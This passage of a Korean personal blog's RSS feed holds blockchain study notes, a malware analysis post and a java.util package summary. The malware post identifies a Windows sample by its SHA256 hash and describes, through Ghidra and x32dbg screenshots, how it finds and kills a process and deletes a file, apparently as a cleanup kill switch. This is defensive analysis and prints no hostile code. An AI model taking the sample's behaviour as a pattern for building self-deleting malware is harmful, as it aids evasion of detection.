      &lt;li&gt;
        &lt;p&gt;허가형&lt;/p&gt;

        &lt;p&gt;허가형 블록체인은 접근 제어 계층을 사용하여 네트워크 접근자를 관리&lt;/p&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;종류&quot;&gt;종류&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;공개 블록체인 : 접근 제한이 전혀 없음&lt;/li&gt;
  &lt;li&gt;비공개 블록체인 : 특정 권한이 부여됨&lt;/li&gt;
  &lt;li&gt;하이브리드 블록체인 : 중앙식, 탈중앙식 기능을 모두 갖춤&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;이중-지불-방지&quot;&gt;이중 지불 방지&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;신뢰할  수 없는 제 3자에 의한 시간표시거래를 블록체인에 추가하는 것을 피하기 위해, 작업증명 or 지분증명 같은 다양한 시간표시 방법들을 사용&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;1-장부-보관&quot;&gt;1. 장부 보관&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;블록체인은 모두에게 장부를 나눠줌
    &lt;ul&gt;
      &lt;li&gt;각자 장부를 하나씩 가지고 있음&lt;/li&gt;
      &lt;li&gt;누가 누구에게 돈을 보냈는지&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;블록에 담긴 거래 내용이 한 글자라도 바뀌면 ‘봉인’이 풀리게 됨
    &lt;ul&gt;
      &lt;li&gt;내용은 수정할 수 없음&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;2-거래-내역-검증&quot;&gt;2. 거래 내역 검증&lt;/h3&gt;

&lt;p&gt;블록체인은 매 블록마다 제비뽑기를 한다. 검증을 할 사람은 반드시 정직해야함&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;제비뽑기를 할 때 ‘비용’이 발생하도록 만든다.
    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;참여비용 존재 : 돈을 많이 쓸수록 뽑힐 확률 증가&lt;/p&gt;

        &lt;p&gt;→ 검증되어 ‘신뢰할만한 사람’이라고 증명됨&lt;/p&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;참여비용은 ‘물관리’를 위한 최소한의 필터링 장치&lt;/p&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;당첨이 된 사람에게는 네트워크의 가치와 연동되는 보상을 준다.
    &lt;ul&gt;
      &lt;li&gt;검증을 해준 대가로 보상을 지급&lt;/li&gt;
      &lt;li&gt;보상은 암호화폐로 지급&lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;검증하는 사람이 보상의 가치를 극대화 → 정직하게 잘 검증해야함&lt;/p&gt;

        &lt;p&gt;→ 신뢰성 증가로 네트워크 성장 및 나의 성장&lt;/p&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;
</description>
        <pubDate>Sat, 26 Mar 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/03/26/BlockChain/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/03/26/BlockChain/</guid>
      </item>
    
      <item>
        <title>240387329dee4f03f98a89a2feff9bf30dcba61fcf614cdac24129da54442762</title>
        <description>&lt;h3 id=&quot;악성코드-해시sha256---240387329dee4f03f98a89a2feff9bf30dcba61fcf614cdac24129da54442762&quot;&gt;악성코드 해시(SHA256) - &lt;a href=&quot;https://www.virustotal.com/gui/file/240387329dee4f03f98a89a2feff9bf30dcba61fcf614cdac24129da54442762/detection&quot;&gt;240387329dee4f03f98a89a2feff9bf30dcba61fcf614cdac24129da54442762&lt;/a&gt;&lt;/h3&gt;

&lt;h3 id=&quot;악성코드-포맷---pe&quot;&gt;악성코드 포맷 - PE&lt;/h3&gt;

&lt;h3 id=&quot;악성코드-타입---genvariantzusy-alyac&quot;&gt;악성코드 타입 - Gen:Variant.Zusy (ALYac)&lt;/h3&gt;

&lt;h3 id=&quot;운영체제---windowsx86&quot;&gt;운영체제 - Windows(x86)&lt;/h3&gt;

&lt;p&gt;악성코드 분석에 앞서, 프로그램을 기드라의 디스어셈블러로 봐 보았다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.postimg.cc/2SpS57LQ/1.png&quot; alt=&quot;디컴파일한 Main함수&quot; title=&quot;디컴파일한 Main함수&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.postimg.cc/66g9Hf0k/2.png&quot; alt=&quot;디컴파일한 Main함수&quot; title=&quot;디컴파일한 Main함수&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.postimg.cc/cHKJH9hc/3.png&quot; alt=&quot;디컴파일한 401000함수&quot; title=&quot;디컴파일한 401000함수&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.postimg.cc/90ZFPDvR/4.png&quot; alt=&quot;디컴파일한 401000함수&quot; title=&quot;디컴파일한 401000함수&quot; /&gt;&lt;/p&gt;

&lt;p&gt;기드라로 프로그램을 본 화면에서는, 구조체에 대한 값이 제대로 표현되어 있지 않아서 어떤 값이 무엇을 가르키는지 알 수 없다.&lt;/p&gt;

&lt;p&gt;숙련된 디버거라면 어느 값에 어떤 내용이 들어있는지 경험상으로 알 수 있지만, 현재 실력으로는 동적으로 분석하는게 빠르므로 동적 분석을 진행하였다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.postimg.cc/Nf8j5r6Z/5.png&quot; alt=&quot;디스어셈블한 stub코드&quot; title=&quot;디스어셈블한 stub코드&quot; /&gt;&lt;/p&gt;

&lt;p&gt;동적분석은 x32dbg디버거로 진행하였다. 엔트리포인트에 들어간 뒤, exit 바로 앞에 존재하는 메인함수에 들어갔다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.postimg.cc/XJyV3ZNH/6.png&quot; alt=&quot;디스어셈블한 401000함수&quot; title=&quot;디스어셈블한 401000함수&quot; /&gt;&lt;/p&gt;

&lt;p&gt;401000함수의 내부이다. Process32First에 인자로 들어가는 lppe(128)가 뭔지 제대로 모르니 MSDN에서 찾아보았다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.postimg.cc/yYDPFc6p/13.png&quot; alt=&quot;MSDN Process32First 인자&quot; title=&quot;MSDN Process32First 인자&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first&quot;&gt;MSDN&lt;/a&gt;에 의하면, lppe는 PROCESSENTRY32 구조체를 가르키는 포인터같다. [in, out]이라고 적혀있는걸 보니, 해당 주소로 특정한 값이 나오는 모양이다.&lt;/p&gt;

&lt;p&gt;왜 0x128이라는 값이 들어갔는지는 잘 모르겠지만, 동적 분석을 진행하면서 어떤 값이 들어가는지 실시간으로 알 수 있으니 제대로 알고 넘어갈 필요는 없을 것 같다.&lt;/p&gt;

&lt;p&gt;아마 함수를 거치고 나면 프로세스의 이름, PID등이 적혀 나오는 것 같다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.postimg.cc/NF6B9WHR/7.png&quot; alt=&quot;401000함수를 한번 돌고 분석한 내용&quot; title=&quot;401000함수를 한번 돌고 분석한 내용&quot; /&gt;&lt;/p&gt;

&lt;p&gt;401000함수의 반복문을 한번 돌리며 분석한 내용이다. 모든 프로세스에 대해, 인자와 프로세스 명이 같은지 확인하는 내용이 들어가 있다.&lt;/p&gt;

&lt;p&gt;-104에는 매번 프로세스의 이름이 들어가며, 인자와 같은지 첫번째, 두번째 글자를 확인한 후, 반복문을 통해 계속해서 확인하는 구문이다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.postimg.cc/9FBcWHVh/8.png&quot; alt=&quot;내부 루프&quot; title=&quot;내부 루프&quot; /&gt;&lt;/p&gt;

&lt;p&gt;프로세스명을 한글자씩 비교하는 루프이다. (계속 돌려서 첫글자가 같은 프로세스가 나올때까지 진행했지만, 제로플래그를 수정하는 방식으로도 진행 가능하다.)&lt;/p&gt;

&lt;p&gt;한글자씩 문자를 비교하면서, 만일 문자열 종료코드가 나오면 다른 명령어를 실행하는 루트로 진행된다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.postimg.cc/0Nhst8Gp/9.png&quot; alt=&quot;내부 루프의 문자열 포인터 이동&quot; title=&quot;내부 루프의 문자열 포인터 이동&quot; /&gt;&lt;/p&gt;

&lt;p&gt;두글자를 이동한 후, 문자열 포인트를 두글자씩 옮기는 명령어다.&lt;/p&gt;

&lt;p&gt;svchostx64.exe는 기본적인 운영체제에서 볼 수 있는 프로세스가 아닌, 해당 악성코드 전용 프로세스이므로 일치하는 결과가 없어야 정상이다.&lt;/p&gt;

&lt;p&gt;만약 인자와 같은 프로세스가 있으면 어떤 명령이 실행되는지 진행해 봤다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.postimg.cc/Bb0G0MVb/10.png&quot; alt=&quot;플래그 설정&quot; title=&quot;플래그 설정&quot; /&gt;&lt;/p&gt;

&lt;p&gt;-144를 0으로 설정한다. (보통은 sbb명령을 통해 ffffffff로 값을 설정해준다. 아마 boolean이 아닐까 추측한다.)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.postimg.cc/C5spLk3N/11.png&quot; alt=&quot;플래그 검사 이후&quot; title=&quot;플래그 검사 이후&quot; /&gt;&lt;/p&gt;

&lt;p&gt;이후 플래그를 검사하며, 프로세스를 연 뒤, 프로세스를 종료한다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;그럼 함수는 프로세스를 검색 후 종료하는 것 밖에 하지 않으며, 메인함수에서 사용하는 함수는 파일삭제뿐인데 왜 바이러스인가?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;이를 알기 위해 추가적으로 메인함수 분석을 진행하였다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.postimg.cc/QdtZhB0Q/12.png&quot; alt=&quot;Main함수 분석&quot; title=&quot;Main함수 분석&quot; /&gt;&lt;/p&gt;

&lt;p&gt;메인함수를 분석하면서 진행한 내용이다. %appdata%를 문자열로 바꿔준 후, svchost64.exe를 문자열에 추가해서 파일삭제를 진행시켜주는 프로그램이다.&lt;/p&gt;

&lt;p&gt;해당 프로그램은 더 이상의 내용이 없어, 왜 해당 프로그램인지 멀웨어인지 찾아봤다.&lt;/p&gt;

&lt;p&gt;바이러스토탈 검사결과에 대부분의 백신에서 악성코드로 판단하는것을 보아, 멀웨어 감염이 끝나고 목적을 수행하고 난 뒤, 멀웨어 실행을 끝나고 프로그램을 지워주는 킬스위치로 보인다.&lt;/p&gt;
</description>
        <pubDate>Sun, 13 Mar 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/03/13/240387329dee4f03f98a89a2feff9bf30dcba61fcf614cdac24129da54442762/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/03/13/240387329dee4f03f98a89a2feff9bf30dcba61fcf614cdac24129da54442762/</guid>
      </item>
    
      <item>
        <title>java.util</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;종류 - 패키지&lt;/p&gt;

  &lt;p&gt;모듈 - java.base&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;연관 패키지&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;java.util.concurrent - 병렬 프로그래밍에 보통 쓰이는 유틸리티 클래스들을 지원&lt;/li&gt;
  &lt;li&gt;java.util.function - 타입과 람다 표현식과 메소드 레퍼런스를 제공하는 함수적 인터페이스 지원&lt;/li&gt;
  &lt;li&gt;java.util.jar - 표준 ZIP포맷과 설정파일로 만들어진 JAR파일에 대한 읽기/쓰기 지원&lt;/li&gt;
  &lt;li&gt;java.util.logging - 자바2플랫폼의 핵심 로깅 클래스와 인터페이스 제공&lt;/li&gt;
  &lt;li&gt;java.util.prefs - 어플리케이션이 유저/시스템 설정데이터에 접근하도록 지원&lt;/li&gt;
  &lt;li&gt;java.util.random - RNG에 대한 API를 지원하는 클래스와 인터페이스 지원&lt;/li&gt;
  &lt;li&gt;java.util.regex - 정규식으로 표현된 문자열에 대한 처리를 도와주는 클래스들을 제공&lt;/li&gt;
  &lt;li&gt;java.util.spi - java.util 패키지의 서비스 제공자 클래스&lt;/li&gt;
  &lt;li&gt;java.util.stream - 객체의 스트림에 대한 함수적 연산을 도와주는 클래스들을 제공 (Map축소변환과 같은)&lt;/li&gt;
  &lt;li&gt;java.util.zip - ZIP과 GZIP포맷에 대한 읽기/쓰기를 지원하는 클래스를 제공&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;인터페이스&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Collection&lt;E&gt; - collection 기반 루트 인터페이스.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;Comparator&lt;T&gt; - collection에 대한 전체적인 비교 함수 인터페이스.&lt;/T&gt;&lt;/li&gt;
  &lt;li&gt;Deque&lt;E&gt; - Double Ended Queue의 줄임말로, 양쪽 끝에서 삽입 및 삭제를 지원하는 큐 콜렉션이다.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;Enumeration&lt;E&gt; - 일련의 요소를 하나씩 생성해주는 인터페이스. 해당 기능을 전부 포함하며, 추가적인 기능을 가지고 있는 Iterator 사용 추천한다.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;EventListener - 모든 이벤트 리스너가 반드시 상속(extend)해야하는 태깅 인터페이스.&lt;/li&gt;
  &lt;li&gt;Formattable - Formatter의 ‘s’변환 형식자를 사용하여 커스텀 변환을 사용하는 클래스가 반드시 상속(implement)해야 하는 인터페이스.&lt;/li&gt;
  &lt;li&gt;Iterator&lt;E&gt; - 컬렉션에 대한 반복을 처리하는 인터페이스다.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;List&lt;E&gt; - 순서가 지정된 컬렉션(혹은 시퀀스.)&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;ListIterator&lt;E&gt; - 프로그래머가 리스트를 어떤 방향으로든 이동하고, 수정하고, 현재 위치를 알아낼 수 있도록 도와주는 인터페이스.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;Map&amp;lt;K,V&amp;gt; - 키에 값을 저장(매핑)하는 개체.&lt;/li&gt;
  &lt;li&gt;Map.Entry&amp;lt;K,V&amp;gt; 맵 항목(키 - 값 쌍), Map의 한 개체를 자료형처럼 사용할 때 사용함.&lt;/li&gt;
  &lt;li&gt;NavigableMap&amp;lt;K,V&amp;gt; - 주어진 대상을 검색 후, 가장 가까운 항목을 반환하는 SortedMap이다.&lt;/li&gt;
  &lt;li&gt;NavigableSet&lt;E&gt; - 주어진 대상을 검색 후, 가장 가까운 항목을 알려주는 SortedSet이다.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;Observer - 더 이상 사용되지 않음.&lt;/li&gt;
  &lt;li&gt;PrimitiveIterator&amp;lt;T,T_CONS&amp;gt; - 특화된 반복자(Iterator)에 대한 기본 타입. int나 long, double등의 타입에 대해 특화된 반복자에 대한 인터페이스다. 첫번째 인자로는 래퍼클래스(Integer 등)이 들어간다.&lt;/li&gt;
  &lt;li&gt;PrimitiveIterator.OfDouble - double값에 특화된 반복자.&lt;/li&gt;
  &lt;li&gt;PrimitiveIterator.OfInt - int값에 특화된 반복자.&lt;/li&gt;
  &lt;li&gt;PrimitiveIterator.OfLong - long값에 특화된 반복자.&lt;/li&gt;
  &lt;li&gt;Queue&lt;E&gt; - 큐, 처리를 하기 전 요소를 잡고 있도록(보유하도록) 설계된 컬렉션.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;RandomAccess - Marker인터페이스는 빠른 랜덤 액세스(시간상수 등)를 지원하기 위한 리스트 상속(implement)에 사용된다.&lt;/li&gt;
  &lt;li&gt;ServiceLoader.Provider&lt;S&gt; - ServiceLoader로 찾은 서비스 공급자를 보여준다.&lt;/S&gt;&lt;/li&gt;
  &lt;li&gt;Set&lt;E&gt; - 중복되는 요소가 없는 컬렉션.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;SortedMap&amp;lt;K,V&amp;gt; - 키의 순서를 가지고 있는 맵(Map).&lt;/li&gt;
  &lt;li&gt;SortedSet&lt;E&gt; - 요소의 순서를 가지고 있는 Set.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;Spliterator&lt;T&gt; - 원본의 요소를 탐색하고 분할하는 객체다.&lt;/T&gt;&lt;/li&gt;
  &lt;li&gt;Spliterator.OfDouble - double값에 특화된 Spliterator이다.&lt;/li&gt;
  &lt;li&gt;Spliterator.OfInt - int값에 특화된 Spliterator이다.&lt;/li&gt;
  &lt;li&gt;Spliterator.OfLong - long값에 특화된 Spliterator이다.&lt;/li&gt;
  &lt;li&gt;Spliterator.OfPrimitive&amp;lt;T,T_CONS,T_SPLITR extends Spliterator.OfPrimitive&amp;lt;T,T_CONS,T_SPLITR» - 특화된 Spliterator이다.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;클래스&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;AbstractCollection&lt;E&gt; This class provides a skeletal implementation of the Collection interface, to minimize the effort required to implement this interface.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;AbstractList&lt;E&gt; This class provides a skeletal implementation of the List interface to minimize the effort required to implement this interface backed by a &quot;random access&quot; data store (such as an array).&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;AbstractMap&amp;lt;K,V&amp;gt; This class provides a skeletal implementation of the Map interface, to minimize the effort required to implement this interface.&lt;/li&gt;
  &lt;li&gt;AbstractMap.SimpleEntry&amp;lt;K,V&amp;gt; An Entry maintaining a key and a value.&lt;/li&gt;
  &lt;li&gt;AbstractMap.SimpleImmutableEntry&amp;lt;K,V&amp;gt; An unmodifiable Entry maintaining a key and a value.&lt;/li&gt;
  &lt;li&gt;AbstractQueue&lt;E&gt; This class provides skeletal implementations of some Queue operations.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;AbstractSequentialList&lt;E&gt; This class provides a skeletal implementation of the List interface to minimize the effort required to implement this interface backed by a &quot;sequential access&quot; data store (such as a linked list).&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;AbstractSet&lt;E&gt; This class provides a skeletal implementation of the Set interface to minimize the effort required to implement this interface.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;ArrayDeque&lt;E&gt; Resizable-array implementation of the Deque interface.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;ArrayList&lt;E&gt; Resizable-array implementation of the List interface.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;Arrays This class contains various methods for manipulating arrays (such as sorting and searching).&lt;/li&gt;
  &lt;li&gt;Base64 This class consists exclusively of static methods for obtaining encoders and decoders for the Base64 encoding scheme.&lt;/li&gt;
  &lt;li&gt;Base64.Decoder This class implements a decoder for decoding byte data using the Base64 encoding scheme as specified in RFC 4648 and RFC 2045.&lt;/li&gt;
  &lt;li&gt;Base64.Encoder This class implements an encoder for encoding byte data using the Base64 encoding scheme as specified in RFC 4648 and RFC 2045.&lt;/li&gt;
  &lt;li&gt;BitSet This class implements a vector of bits that grows as needed.&lt;/li&gt;
  &lt;li&gt;Calendar The Calendar class is an abstract class that provides methods for converting between a specific instant in time and a set of calendar fields such as YEAR, MONTH, DAY_OF_MONTH, HOUR, and so on, and for manipulating the calendar fields, such as getting the date of the next week.&lt;/li&gt;
  &lt;li&gt;Calendar.Builder Calendar.Builder is used for creating a Calendar from various date-time parameters.&lt;/li&gt;
  &lt;li&gt;Collections This class consists exclusively of static methods that operate on or return collections.&lt;/li&gt;
  &lt;li&gt;Currency Represents a currency.&lt;/li&gt;
  &lt;li&gt;Date The class Date represents a specific instant in time, with millisecond precision.&lt;/li&gt;
  &lt;li&gt;Dictionary&amp;lt;K,V&amp;gt; The Dictionary class is the abstract parent of any class, such as Hashtable, which maps keys to values.&lt;/li&gt;
  &lt;li&gt;DoubleSummaryStatistics A state object for collecting statistics such as count, min, max, sum, and average.&lt;/li&gt;
  &lt;li&gt;EnumMap&amp;lt;K extends Enum&lt;K&gt;,V&amp;gt; A specialized Map implementation for use with enum type keys.&lt;/K&gt;&lt;/li&gt;
  &lt;li&gt;EnumSet&amp;lt;E extends Enum&lt;E&gt;&amp;gt; A specialized Set implementation for use with enum types.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;EventListenerProxy&lt;T extends=&quot;&quot; EventListener=&quot;&quot;&gt; An abstract wrapper class for an EventListener class which associates a set of additional parameters with the listener.&lt;/T&gt;&lt;/li&gt;
  &lt;li&gt;EventObject The root class from which all event state objects shall be derived.&lt;/li&gt;
  &lt;li&gt;FormattableFlags FormattableFlags are passed to the Formattable.formatTo() method and modify the output format for Formattables.&lt;/li&gt;
  &lt;li&gt;Formatter An interpreter for printf-style format strings.&lt;/li&gt;
  &lt;li&gt;GregorianCalendar GregorianCalendar is a concrete subclass of Calendar and provides the standard calendar system used by most of the world.&lt;/li&gt;
  &lt;li&gt;HashMap&amp;lt;K,V&amp;gt; Hash table based implementation of the Map interface.&lt;/li&gt;
  &lt;li&gt;HashSet&lt;E&gt; This class implements the Set interface, backed by a hash table (actually a HashMap instance).&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;Hashtable&amp;lt;K,V&amp;gt; This class implements a hash table, which maps keys to values.&lt;/li&gt;
  &lt;li&gt;HexFormat HexFormat converts between bytes and chars and hex-encoded strings which may include additional formatting markup such as prefixes, suffixes, and delimiters.&lt;/li&gt;
  &lt;li&gt;IdentityHashMap&amp;lt;K,V&amp;gt; This class implements the Map interface with a hash table, using reference-equality in place of object-equality when comparing keys (and values).&lt;/li&gt;
  &lt;li&gt;IntSummaryStatistics A state object for collecting statistics such as count, min, max, sum, and average.&lt;/li&gt;
  &lt;li&gt;LinkedHashMap&amp;lt;K,V&amp;gt; Hash table and linked list implementation of the Map interface, with predictable iteration order.&lt;/li&gt;
  &lt;li&gt;LinkedHashSet&lt;E&gt; Hash table and linked list implementation of the Set interface, with predictable iteration order.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;LinkedList&lt;E&gt; Doubly-linked list implementation of the List and Deque interfaces.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;ListResourceBundle ListResourceBundle is an abstract subclass of ResourceBundle that manages resources for a locale in a convenient and easy to use list.&lt;/li&gt;
  &lt;li&gt;Locale A Locale object represents a specific geographical, political, or cultural region.&lt;/li&gt;
  &lt;li&gt;Locale.Builder Builder is used to build instances of Locale from values configured by the setters.&lt;/li&gt;
  &lt;li&gt;Locale.LanguageRange This class expresses a Language Range defined in RFC 4647 Matching of Language Tags.&lt;/li&gt;
  &lt;li&gt;LongSummaryStatistics A state object for collecting statistics such as count, min, max, sum, and average.&lt;/li&gt;
  &lt;li&gt;Objects This class consists of static utility methods for operating on objects, or checking certain conditions before operation.&lt;/li&gt;
  &lt;li&gt;Observable Deprecated.&lt;/li&gt;
  &lt;li&gt;This class and the Observer interface have been deprecated.&lt;/li&gt;
  &lt;li&gt;Optional&lt;T&gt; A container object which may or may not contain a non-null value.&lt;/T&gt;&lt;/li&gt;
  &lt;li&gt;OptionalDouble A container object which may or may not contain a double value.&lt;/li&gt;
  &lt;li&gt;OptionalInt A container object which may or may not contain an int value.&lt;/li&gt;
  &lt;li&gt;OptionalLong A container object which may or may not contain a long value.&lt;/li&gt;
  &lt;li&gt;PriorityQueue&lt;E&gt; An unbounded priority queue based on a priority heap.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;Properties The Properties class represents a persistent set of properties.&lt;/li&gt;
  &lt;li&gt;PropertyPermission This class is for property permissions.&lt;/li&gt;
  &lt;li&gt;PropertyResourceBundle PropertyResourceBundle is a concrete subclass of ResourceBundle that manages resources for a locale using a set of static strings from a property file.&lt;/li&gt;
  &lt;li&gt;Random An instance of this class is used to generate a stream of pseudorandom numbers; its period is only 248.&lt;/li&gt;
  &lt;li&gt;ResourceBundle Resource bundles contain locale-specific objects.&lt;/li&gt;
  &lt;li&gt;ResourceBundle.Control ResourceBundle.Control defines a set of callback methods that are invoked by the ResourceBundle.getBundle factory methods during the bundle loading process.&lt;/li&gt;
  &lt;li&gt;Scanner A simple text scanner which can parse primitive types and strings using regular expressions.&lt;/li&gt;
  &lt;li&gt;ServiceLoader&lt;S&gt; A facility to load implementations of a service.&lt;/S&gt;&lt;/li&gt;
  &lt;li&gt;SimpleTimeZone SimpleTimeZone is a concrete subclass of TimeZone that represents a time zone for use with a Gregorian calendar.&lt;/li&gt;
  &lt;li&gt;Spliterators Static classes and methods for operating on or creating instances of Spliterator and its primitive specializations Spliterator.OfInt, Spliterator.OfLong, and Spliterator.OfDouble.&lt;/li&gt;
  &lt;li&gt;Spliterators.AbstractDoubleSpliterator An abstract Spliterator.OfDouble that implements trySplit to permit limited parallelism.&lt;/li&gt;
  &lt;li&gt;Spliterators.AbstractIntSpliterator An abstract Spliterator.OfInt that implements trySplit to permit limited parallelism.&lt;/li&gt;
  &lt;li&gt;Spliterators.AbstractLongSpliterator An abstract Spliterator.OfLong that implements trySplit to permit limited parallelism.&lt;/li&gt;
  &lt;li&gt;Spliterators.AbstractSpliterator&lt;T&gt; An abstract Spliterator that implements trySplit to permit limited parallelism.&lt;/T&gt;&lt;/li&gt;
  &lt;li&gt;SplittableRandom A generator of uniform pseudorandom values (with period 264) applicable for use in (among other contexts) isolated parallel computations that may generate subtasks.&lt;/li&gt;
  &lt;li&gt;Stack&lt;E&gt; The Stack class represents a last-in-first-out (LIFO) stack of objects.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;StringJoiner StringJoiner is used to construct a sequence of characters separated by a delimiter and optionally starting with a supplied prefix and ending with a supplied suffix.&lt;/li&gt;
  &lt;li&gt;StringTokenizer The string tokenizer class allows an application to break a string into tokens.&lt;/li&gt;
  &lt;li&gt;Timer A facility for threads to schedule tasks for future execution in a background thread.&lt;/li&gt;
  &lt;li&gt;TimerTask A task that can be scheduled for one-time or repeated execution by a Timer.&lt;/li&gt;
  &lt;li&gt;TimeZone TimeZone represents a time zone offset, and also figures out daylight savings.&lt;/li&gt;
  &lt;li&gt;TreeMap&amp;lt;K,V&amp;gt; A Red-Black tree based NavigableMap implementation.&lt;/li&gt;
  &lt;li&gt;TreeSet&lt;E&gt; A NavigableSet implementation based on a TreeMap.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;UUID A class that represents an immutable universally unique identifier (UUID).&lt;/li&gt;
  &lt;li&gt;Vector&lt;E&gt; The Vector class implements a growable array of objects.&lt;/E&gt;&lt;/li&gt;
  &lt;li&gt;WeakHashMap&amp;lt;K,V&amp;gt; Hash table based implementation of the Map interface, with weak keys.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;이넘&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Formatter.BigDecimalLayoutForm - BigDecimal(큰 소숫점)에 대한 포맷&lt;/li&gt;
  &lt;li&gt;Locale.Category - 지역 카테고리&lt;/li&gt;
  &lt;li&gt;Locale.FilteringMode - 지역 선택 방법&lt;/li&gt;
  &lt;li&gt;Locale.IsoCountryCode - ISO 3166에 대한 지역코드&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;예외&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;ConcurrentModificationException This exception may be thrown by methods that have detected concurrent modification of an object when such modification is not permissible.&lt;/li&gt;
  &lt;li&gt;DuplicateFormatFlagsException Unchecked exception thrown when duplicate flags are provided in the format specifier.&lt;/li&gt;
  &lt;li&gt;EmptyStackException Thrown by methods in the Stack class to indicate that the stack is empty.&lt;/li&gt;
  &lt;li&gt;FormatFlagsConversionMismatchException Unchecked exception thrown when a conversion and flag are incompatible.&lt;/li&gt;
  &lt;li&gt;FormatterClosedException Unchecked exception thrown when the formatter has been closed.&lt;/li&gt;
  &lt;li&gt;IllegalFormatCodePointException Unchecked exception thrown when a character with an invalid Unicode code point as defined by Character.isValidCodePoint(int) is passed to the Formatter.&lt;/li&gt;
  &lt;li&gt;IllegalFormatConversionException Unchecked exception thrown when the argument corresponding to the format specifier is of an incompatible type.&lt;/li&gt;
  &lt;li&gt;IllegalFormatException Unchecked exception thrown when a format string contains an illegal syntax or a format specifier that is incompatible with the given arguments.&lt;/li&gt;
  &lt;li&gt;IllegalFormatFlagsException Unchecked exception thrown when an illegal combination flags is given.&lt;/li&gt;
  &lt;li&gt;IllegalFormatPrecisionException Unchecked exception thrown when the precision is a negative value other than -1, the conversion does not support a precision, or the value is otherwise unsupported.&lt;/li&gt;
  &lt;li&gt;IllegalFormatWidthException Unchecked exception thrown when the format width is a negative value other than -1 or is otherwise unsupported.&lt;/li&gt;
  &lt;li&gt;IllformedLocaleException Thrown by methods in Locale and Locale.Builder to indicate that an argument is not a well-formed BCP 47 tag.&lt;/li&gt;
  &lt;li&gt;InputMismatchException Thrown by a Scanner to indicate that the token retrieved does not match the pattern for the expected type, or that the token is out of range for the expected type.&lt;/li&gt;
  &lt;li&gt;InvalidPropertiesFormatException Thrown to indicate that an operation could not complete because the input did not conform to the appropriate XML document type for a collection of properties, as per the Properties specification.&lt;/li&gt;
  &lt;li&gt;MissingFormatArgumentException Unchecked exception thrown when there is a format specifier which does not have a corresponding argument or if an argument index refers to an argument that does not exist.&lt;/li&gt;
  &lt;li&gt;MissingFormatWidthException Unchecked exception thrown when the format width is required.&lt;/li&gt;
